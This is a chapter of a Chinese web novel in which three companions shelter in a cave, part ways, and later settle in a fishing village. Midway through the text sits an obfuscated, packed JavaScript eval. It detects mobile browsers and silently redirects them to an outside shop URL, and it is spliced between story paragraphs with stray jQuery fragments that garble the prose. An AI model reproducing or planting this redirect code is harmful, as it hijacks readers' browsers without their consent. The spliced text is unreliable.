60. 相守相依

作品:《凌云逍遥游

    三个人又着急地向前走了片刻,依稀在朦胧的雾气中,隐约看到一个山洞。


    荆一凡和慕光磊对视一眼,加快脚步向山洞里跑去。


    他们进入到洞中,山洞里一片漆黑,洞顶嘀嗒嘀嗒从上落下,再加上外面雨水的湿气弥漫进来,洞中显得阴冷潮湿。


    荆一凡找了处洞里相对干爽的地方,将水溟月轻轻放下,背上的人不知何时又陷入沉睡,借着微弱的光线看去,她脸颊苍白如雪,整个人无力地瘫在地上,不似平常那个风华正茂、英姿天成的凌云女仙。


    荆一凡抚了抚心口的痛楚,终是微不可察地轻轻叹息。小白虎似乎感受到了荆一凡的哀伤,亲昵地用身体蹭蹭他。


    慕光磊也看见了水溟月此刻的情形,走到她身边,掏出一个紫色的瓷瓶,倒出一颗碧绿色的丸药,它散发着一股清爽的药草香,让人闻到不由心神一震。


    他小心翼翼地拉开水溟月的嘴巴,喂她吃下这枚丸药,片刻之后,水溟月的呼吸平缓了很多,脸色也没有刚才那般惨白。


    慕光磊在水溟月身边坐下,专注地看着她的睡颜,心中竟然庆幸,竟然希望也许这样也好,她永远那样睡着,自己永远这样看着,没有必须分开的疏离与释然。


    荆一凡看着两人,走了两步上前,自己又自嘲笑笑,心中酸楚,水溟月如今的模样跟自己脱不了关系,如果他能强大些,那么如今她就不会受此重创,自己现在有何资格站在她的身边。


    想着想着,上前的脚步顿住,他向后退去,“我去找些干柴,这里太冷了。”说罢,人就消失在洞口之中,小白虎也跟着他一起离开。


    凌云山脚下的雨下得越来越大,已经无法在雨中分辨前方的景物和人,周围都是雷声和雨声,天地陷入了一片寂静。


    在这大雨组成的水幕当中,遥遥地亮着些微弱的光,仔细看去那光的来处是他们所在的山洞,此时这光亮就是这天与地之间唯一的温暖。


    荆一凡和慕光磊围坐在火堆旁,水溟月安静地躺在二人之间,小白虎靠在荆一凡身边,洞中安静极了,只能听见细微的呼吸声。


    只是几天的时间,一切天翻地覆,仿若度过了半生,两人都想开口,但是都不知该说什么,所以只能安静地看着篝火。


    “大哥,你们以后有何打算?不然,以后就跟着我?我能照顾你们”慕光磊话音刚落,又想起现在的处境,后半段的话不由有些心虚,心中顿生无力的感觉。


    他又有何能力保护二人,他的母妃和兄长能决定他的一切,他的生活一直在他人的监视之下,现在的他谁也护不住。


    荆一凡拍拍他的肩膀,冲他笑笑,算是感谢,“不用了,小弟,谢谢你,我知道你的情况,等明天雨停,我就带着月儿离开。我们找一处僻静的山村安定下来,等稳定了就告诉你,到时候你来看我们。”


    “我…”慕光磊本想开口询问跟两人一起离开,想到自己的身份,只能是拖累两人,终是化为一声叹息,将后面的话生生咽下。


    “那让我送送你们,可以吗?”慕光磊坚定地问道。


    荆一凡愣了下,点点头,“当然,小弟肯定要送大哥嘛,你以后也要多加小心,尤其要小心太子。”


    “不过说来,这让我想到咱们初遇时,也是在一个山洞里一同过夜。”荆一凡话锋一转,打量着山洞的石壁。


    慕光磊突然一惊,好奇地看向周围,刚才眼中的阴霾逐渐褪去,眼中突然闪着晶亮的光,似乎想起了久远的回忆。


    “还真的是,当时咱们好像还烤兔子了。”慕光磊陷入回忆。


    “可惜,这里啥也没有,不然还能吃一顿。”荆一凡坏笑着看着慕光磊。


    慕光磊听着脸色一变,连连摇头,“我不吃,我不吃啊。”


    荆一凡摇头,叹了一口气,“小弟还是没有进步。”


    “我可还想吃烤兔,以后一定要给我补上。”此刻,旁边响起一声沙哑轻柔的声音。


    荆一凡和慕光磊眼带惊喜看向旁边,水溟月不知何时眼睛睁开,眼睛微微弯着看着两人。


    两个人立刻弹起来,荆一凡作势就要往出走,撸起袖子,“必须去抓,等着。”


    慕光磊也克服心里恐惧连连点头,甚至想跟着荆一凡一起出去找野兔。


    “你们两个,外面这么大的雨,到哪找兔子啊。”水溟月的笑语一下温热了刚才还冰冷潮湿的山洞。


    两个人脚步停下,对视一眼,“对了,我想到当时还有一个场景,我们可以还原一下嘛。”说完,荆一凡开始脱外衣。


    慕光磊也想到什么,也红着脸开始脱外衣。


    “你们两个想要干什么?”水溟月挣扎起身,一脸惊恐看着两人。


    “给你披上,你好好休息。”说完他们将自己的外衣盖在水溟月身上。


    小白虎轻轻走到水溟月身边,跳到水溟月的腿上,将那两件外衣稳稳压住,随后张口打了个哈欠,之后趴下闭上眼睛睡着了。


    三人见到这情景都愣住,之后都大笑起来。


    今夜的寒雨,似乎也成为了困苦中的欢快鸣唱。


    第二日,天微微放晴,下了一晚上的雨终于停止,三个一虎早早起身,趁着还未亮的天色加紧赶路。


    凌云山脚下对他们而言还是十分危险的,何况三个人现在毫无反抗之力,如果碰见危险,那就真的只好听天由命了。


    几人向前又走了几里,走到了凌云峰的山口,见到一辆简朴的马车,马车旁有一个老仆,他见到慕光磊,对他微施了一礼。


    慕光磊对他点点头,随后转身看向荆一凡和水溟月,面露哀伤,随后挤出一笑,“大哥,水姑娘,这马车是我为你们准备的,车上还有些银钱,希望你们不要推辞我的心意。”


    两个人互看一样,随后点点头,转过身对慕光磊温暖地笑着。


    荆一凡一把抱住慕光磊,在他耳边轻声说:“谢谢,我们后会有期。”


    水溟月冲他点头,温柔说了声:“保重。”随后,抱起小白虎爬上马车。


    荆一凡拉起缰绳,坐上马车,将马的缰绳一勒,马儿扬蹄向前狂奔而去。


    慕光磊站在晨光中,一直目送两个人离开的方向,直到再也看不见他们的身影、听不见离去的马蹄声。


    他抬头看向依然碧蓝的天空,曾经的笑语仿若还在昨日,一觉醒来所有事情又从梦中惊醒,大家终于还是走上了各自的道路。


    “我们,一定会再见的!”他再对着二人离去的方向说声,之后带着老仆向着另一个方向步履坚定地走去。


    身后传来急促的脚步声,慕光磊看着远处向这里来的人群,眼中再也没有以往的俱色,对身边的老仆说:“李叔,东西都准备好了吗?”


    “回殿下,迷药都准备好了,刚好,这会儿来人了。”老仆从旁边拿出一个袋子,他恭敬地递给慕光磊。


    慕光磊从怀中掏出掏出粒丸药给自己服下,随后从老仆手中接过袋子,将手中另一粒丸药给他,老仆也吃下。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319843|194622||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    那黑压压的人影更近了,仔细看去为首的人也是他们的老熟人了,此人正是曲成杰。


    他此刻带着仆从气急败坏地走过来,看到慕光磊,嗤笑一声,并未放慢脚步,丝毫不把慕光磊放在眼里。


    走到慕光磊面前,他语气阴狠:“废物,赶紧让开,不然直接从你身上踏过。”


    原想着这样威胁就能把这个胆小皇子吓坏,谁知他竟然丝毫没有退却,反而直直地盯着曲成杰。


    “你找死。”曲成杰抬手就要打向慕光磊。


    “李叔,就是现在。”慕光磊大叫一声,他和李叔将迷药抛洒在空,一时之间,白色的粉末从天而降,落在了曲成杰和他的仆从身上。


    “臭小子,你…”曲成杰的狠话还没出口,迷药的作用正好发作,他感到头一阵眩晕,紧接着身体一软就栽倒在地,身边的人也都纷纷晕倒。


    慕光磊走到已是睡得跟个死猪一样的曲成杰身边,抬起腿踢踢他,见他没有反应,抑制不住对自己做成这件事的激动,再使劲儿补上两脚,直至他鼻青脸肿。


    “没有了大哥的庇护,我要学着长大。”慕光磊暗暗下定决心,今日起,他再也不能像个孩童般生活了,他要努力成长,以后用他的双手保护身边的人。


    一个月后。


    在远离皇城和凌云山的小渔村里,村民们衣着简朴,背着竹筐满载着山上的野果,山货如往常一样穿梭在村里。


    此时,一声归航的号子响起,那是早起出发打渔的男人们要回家的信号。


    渔船渐渐靠岸,仔细望去,船上都是些衣着简陋的中年汉子,其中有一位身形挺拔,眼神清亮的俊秀青年,正是荆一凡。


    此刻,船刚一靠岸,他利落地收起桅帆,抢在几个中年男人前面将船上的鱼鲜搬到船下。


    其中一个皮肤黝黑身材结实的小个络腮胡男人满意地看着荆一凡。


    他旁边一个精瘦男子笑着说道:“老方,你可有福气了,找到了小荆这么好的帮手。”


    老方听完满意地点点头,笑着跟旁边的人夸道:“是啊,小荆真是个不错的小伙子,人长得俊俏又能干,可惜。”


    “是啊,多好的小伙子,我看跟巧儿正般配。”旁边的人附和道。


    老方摇摇头,随后也跳下了船,“可惜啊,他已经成亲了。”


    “成亲!就他那个病殃殃的媳妇儿,还不知道可以活多久呢?”那人压低声音,悄声说道。


    老方面露同情,轻叹一声“所以,小荆更是难得。”


    他冲荆一凡喊了一声,“小荆,你拿些鱼给你的媳妇儿熬鱼汤。”


    荆一凡一听转过头对老方称谢,随后取了根麻绳将鱼绑住,转身和老方几人道别,快步地离开。


    一边向村子里面走,一边欣喜地盯着手中的鱼,想到家里等待的人,不由加快脚步,此时他已是归心似箭。


    一进村,村子里的人都热情地跟他打招呼,几个村民更是将他围了起来。


    年轻的女人红着脸,害羞地找他询问前几日他送给水溟月胭脂的做法。


    大婶儿们招呼着荆一凡来家吃饭,顺便问问他做的烧鸡为什么这么鲜嫩。


    男人们有的崇拜地等着跟荆一凡讨教他家水车的制作方法。


    大家也不白讨教,手中拿着各种各样的东西,荆一凡压制住思念的心,耐心地回答大家的问题,众人也不知道听懂他的讲授没,都是听完后一脸似懂非懂地点点头,之后赞叹一番,满意离去。